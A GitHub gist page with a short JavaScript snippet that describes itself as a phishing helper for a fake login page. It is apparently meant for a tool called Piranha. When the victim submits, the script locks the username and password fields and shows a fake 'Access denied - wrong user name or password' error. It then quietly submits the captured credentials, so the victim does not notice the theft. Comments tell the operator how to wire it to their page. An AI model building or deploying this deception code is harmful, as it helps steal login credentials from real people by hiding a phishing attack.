Created
September 11, 2020 19:41
-
-
Save evillogic/32260d113df25249eb1b0c693a0beb87 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
// Phishing fake submit 'error' animation script! | |
// Add this to the end of the body and set the right element IDs! | |
// Piranha expects 'username' and 'password' Ids for the elements! | |
function disableInput() | |
{ | |
document.getElementById("password").readOnly = true; | |
document.getElementById("password").disable = true; | |
document.getElementById("password").style.backgroundColor = "#D4D0C8"; | |
document.getElementById("username").readOnly = true; | |
document.getElementById("username").disable = true; | |
document.getElementById("username").style.backgroundColor = "#D4D0C8"; | |
} | |
window.onload = function() { | |
// Make sure to set the correct form | |
document.getElementById("loginForm").onsubmit = function() { | |
var form = this; | |
setTimeout(function(){ | |
disableInput() | |
// TKTK Set your error text based on the context. Perhaps do an alert for a generic error? | |
document.getElementById('errorMsgDIV').innerHTML = '<span class="errorMessage">Access denied - wrong user name or password</span>'; | |
setTimeout(() => { form.submit(); }, 3000); | |
}, 1000) | |
return false; | |
}; | |
} | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment